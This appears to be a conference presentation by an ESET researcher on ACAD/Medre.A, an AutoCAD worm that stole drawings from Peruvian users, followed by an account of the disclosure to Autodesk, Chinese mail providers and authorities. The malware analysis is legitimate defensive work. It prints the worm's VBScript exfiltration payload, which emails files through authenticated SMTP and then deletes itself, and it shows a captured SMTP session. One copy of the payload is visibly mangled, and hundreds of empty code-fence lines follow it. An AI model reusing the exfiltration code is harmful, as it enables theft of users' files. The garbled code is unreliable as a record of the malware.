ACAD/Medre.A
a case study of an individual attack

Righard J. Zwienenenberg
Senior Research Fellow
ESET, The Netherlands
Abstract

Recently researchers of ESET discovered an Industrial Attack against the Computer Aided Design (CAD) in Peru due to which 10,000’s of AutoCAD drawings leaked. The presentation will present the case from beginning to the end: its discovery, why it was noticed, how it was analyzed, why it was a risk mainly in Peru, how the risk-assessment was done and how it was dealt with. This includes the different tools and techniques used as well as communication with the different authorities and organizations to remediate the threat. The conclusion of the presentation will give an overview of precautions, what you can do yourself to discover similar threats and how to react in these circumstances.
Points to be discussed during the presentation:

- Disclaimer
- Introduction
- Analysis
- Communications
- Tools Used
- Conclusion
Recently researchers of ESET discovered an Industrial Attack against the Computer Aided Design (CAD) in Peru due to which 10,000’s of AutoCAD drawings leaked. The presentation will present the case from beginning to the end: its discovery, why it was noticed, how it was analyzed, why it was a risk mainly in Peru, how the risk assessment was done and how it was dealt with. This includes the different tools and techniques used as well as communication with the different authorities and organizations to remediate the threat. The conclusion of the presentation will give an overview of precautions, what you can do yourself to discover similar threats and how to react in these circumstances.
Introduction

The latest trend is definitely targeted in a variety of ways!
Political or Technical Motivated Malware

- Scaled and Targeted!
- The smaller the scale, the smaller the chance for discovery
- The larger the target, the higher the chance for discovery
Political Motivated Malware

- W32/Georbot.A

Georgia denies information on botnet server

ECONOMY
Fri, 03/23/2012 - 08:27

Georgia denies information published by ESET on existence of a botnet server on the official website of the Georgian government, News Georgia reports. ESET is a company specialized in anti-virus software. It reported that the botnet server of the Georgian government was hacked. The resource also said that Georgia informed about the case in late 2011, although the server remains active, with last activity on March 20.
Other cases from around the world...

- Stuxnet
- Duqu
- Flame
- Gauss
- ACAD/Medre
Long before cloud computing gained traction in the antimalware industry, ESET developed a unique cloud-based technology. ESET Live Grid serves as an early warning system that intercepts hundreds of thousands of new threats daily across the globe to keep our clients secure in face of emerging threats.
### ESET Live Grid® 2012 Statistics for Peru

<table>
<thead>
<tr>
<th></th>
<th>Malware Type</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>INF/Autorun</td>
<td>9.86%</td>
</tr>
<tr>
<td>2</td>
<td>Win32/Dorkbot</td>
<td>5.88%</td>
</tr>
<tr>
<td>3</td>
<td>Win32/Sirefef</td>
<td>4.07%</td>
</tr>
<tr>
<td>4</td>
<td>Win32/Conficker</td>
<td>2.94%</td>
</tr>
<tr>
<td>5</td>
<td>Win32/AutoRun.Delf.EP</td>
<td>2.63%</td>
</tr>
<tr>
<td>6</td>
<td>HTML/Iframe.B</td>
<td>2.44%</td>
</tr>
<tr>
<td>7</td>
<td>Win32/Packed.Themida</td>
<td>2.39%</td>
</tr>
<tr>
<td>8</td>
<td>ACAD/Medre.A</td>
<td>2.29%</td>
</tr>
<tr>
<td>9</td>
<td>HTML/ScrInject.B</td>
<td>2.04%</td>
</tr>
<tr>
<td>10</td>
<td>Win32/Olmarik</td>
<td>1.93%</td>
</tr>
</tbody>
</table>
ACAD/Medre.A statistics
ACAD/Medre.A statistics

Targeted attack?
Analysis

- Early history:
  - R14.01 (1999): AutoCAD gets VBA support
    - Star.A
    - Galaxy.A
  - 2000: Alisp/Pobresito
Analysis

- History
  - 2003-2012: several viruses
  - Until R15.0: Encryption for Lisp provided by Autodesk
  - From R15.0: FAS files

- ACAD/Medre spreads is distributed via FAS-files

- FAS Decompiler
Dissecting the worm...

- Written in AutoLISP, targets AutoCAD users
- Functionality:
  - Copying itself – for “installation” and distribution
  - Stealing AutoCAD drawings from infected system
Infection and Installation

• Original file (acad.fas) copied to several locations, including:
  • AutoCAD support directory
  • Current working directory of DWG
• Modifies "acad20???.lsp" file
Infection and Installation

1. User extracts files into a directory
2. User opens the file
3. AutoCAD calls automatically as it is located in the same directory
   copies itself:
4. AutoCAD Support + modifies `acad20??.lsp`
5. (Further distribution)
Payloads

- ACAD/Medre.A will be sending the different AutoCAD drawings (and other information) that are opened by e-mail to a recipient with an e-mail account at the Chinese 163.com internet provider. It will try to do this using one of 22 other accounts at 163.com and one of 21 accounts at qq.com, another Chinese internet provider.
ON ERROR RESUME NEXT
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = PRINC-YFMC
Email.To = "********@
Email.Subject = VL-INFO-C
Email.Textbody = VL-FILE-FNAM-H
Email.AddAttachment VL-FILE-FNAM-H
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = PRINC-YJFWQ
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = PRINC-YFM
.Item(NameSpace&"sendpassword") = PRINC-YXMM
.Update
End With
Email.Send
createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete
The contents of the directory compressed in the encrypted RAR archive (password = “1”) are:

- Acad.fas
- Ȁζ»úÐµÖÆÍ¼.dxf (is 趣味机械制图 in Chinese encoding).

The .DXF file (AutoCAD Drawing Exchange Format) is generated by ACAD/Medre.A and contains metadata regarding the stolen AutoCAD drawing Payload #1 (to 163.com)
Payload #2 (to qq.com)

The actual drawing is sent via one of the qq.com addresses to the final qq.com address...
Payload #3

- Stealing Outlook PST files as referenced by the following Registry keys:
  - [HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Catalog]
  - [HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Outlook\Catalog]
  - [HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Catalog]
Payload #3

- Trying to stealing Foxmail Files
  - [HKEY_CURRENT_USER\Software\Aerofox\Foxmail] "Executable"

- and the following strings are appended to create paths to the files for exfiltration:
  - "\Address\Address.INDX" → Address.IND
  - "\Address\Address.BOX"
  - "\Address\Send.INDX" → Sent.IND
  - "\Address\Send.BOX" → Sent.BOX
The Stealing Payload

- Sends current AutoCAD project (and other info) via email
- Two arrays of email account names and passwords
  - used as Sender – SMTP authentication

```vba
ON ERROR RESUME NEXT
NameSpace = "http://schemas.microsoft.com/office/2004/12/automation/python" Set Email = CreateObject("CDO.6.Application") Email.From = PRINC-YFMC Email.To = "
Email.Subject = "VL-INFO-C"

Email.Textbody = "VL-FILE-FNAM-

Email.AddAttachment "VL-FILE-FNAM-

With Email.Configuration.Fields .Item(NameSpace&"sendusing") = .Item(NameSpace&"smtpserver") = .Item(NameSpace&"smtpservername") = .Item(NameSpace&"sendusername") = .Item(NameSpace&"sendpassword") = .Update End With Email.Send
```

```plaintext
EHLO javier5ce01453
MAIL FROM: <109189@qq.com>
RCPT TO: <me58818@163.com>
DATA

thread-index:Ac0354f4rrQ9eStSnydXImRt8Blimm=
Thread-Topic:JAVIER-5CE01453+Administrador
From: <109189@qq.com>
To: <me58818@163.com>
Subject: JAVIER-5CE01453+Administrador
Date: Thu, 24 May 2012 18:09:03 +0200
Message-ID:<B41A5789A044119B945FF2C66BE7E910@javier5ce01453>
MIME-Version:1.0
Content-Type:multipart/mixed;
boundary="--NextPart_000_0000_01CD99D4.CFC3A50"
X-Mailer:Microsoft CDO for Windows 2000
Content-Class:urn:content-class:messages
Importance:normal
Priority: normal
X-MimeOLE:Produced By Microsoft MimeOLE V6.00.2900.5512

This is a multi-part message in MIME format.

```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
Industrial Espionage?
Further action taken…

Upon discovery, ESET Contacted:
• AutoDesk

---

From: Pierre-Marc Bureau  
To: Richard Zwienenberg  
Cc: Ina Mašlejová  
Subject: Naice  

Hi,

I had an interview with a journalist from WSJ. After interviewing me, she called autodesk and they said:
1) this is not new, it's been around since 2005
2) it spread through Peru because no one has AV there

Seems like it will be their Pr strategy. If Autodesk downplays it like that. Which is probably a good move for them.
Upon discovery, ESET contacted:

- Autodesk
- Chinese email providers
  - qq.com
    - Tencent

Further action taken...

---

From: dennistan(谭晓东) <dennistan@tencent.com>
To: Richard Zwienenberg
Cc: fabianfang(方斌); kylerliu(刘晓明); wystanwang(王建华); vincentwen(文琛); xindeng(邓欣)
Subject: 答复: Urgent request for cooperation(Internet mail)

Hi Richard,

We’ve disabled the SMTP privilege of those accounts.

Please let us know if you have any other questions.

Regards,
Dennis
Further action taken…

Upon discovery, ESET Contacted:

• AutoDesk
• Chinese e-mail providers
  • qq.com / Tencent
  • 163.com
Further action taken...

Upon discovery, ESET contacted:

- AutoDesk
- Chinese e-mail providers
- Chinese National Virus Emergency Response Center

---

From: 张健 <zj@antivirus-china.org.cn>
To: Richard Zwienenberg
Cc:  
Subject: Re: RE: Urgent request for cooperation in taking down 64 mailboxes

Dear Mr. Richard Zwienenberg,

We have set up joint lab with Tencent, so I contact with Tencent at first. Tencent tell me they have closed mail addresses. Now I try to contact with 163.com by different channels. If 163.com close mail addresses, they need legal formalities.

Please wait for me to deal with the problem.

Best regards
Zhang Jian

-------------

张健
2012-06-19
国家计算机病毒应急处理中心
计算机病毒防治产品检验中心
Fax: 86-22-66211155
Further action taken…

Upon discovery, ESET Contacted:

- AutoDesk
- Chinese e-mail providers
- Chinese National Virus Emergency Response Center
- Peruvian organizations

- Stand-alone cleaner available
Tools Used…

- LiveGrid
- FAS Decompiler
- A piece of memory on hold for 20 years
- Isolated network with SMPT server, AutoCAD system and another desktop
- Web-browser
- Communications
- Compiler
- And…
Conclusion

- Malware – worm
- Semi – targeted attack
- AutoCAD projects stolen
- Industrial espionage
- In Latin America – Peru
Thank You!

If you have Questions, I may have Answers!

Righard J. Zwienenberg
Senior Research Fellow
ESET, The Netherlands

Email: righard.zwienenberg@eset.com
Twitter: @RighardZw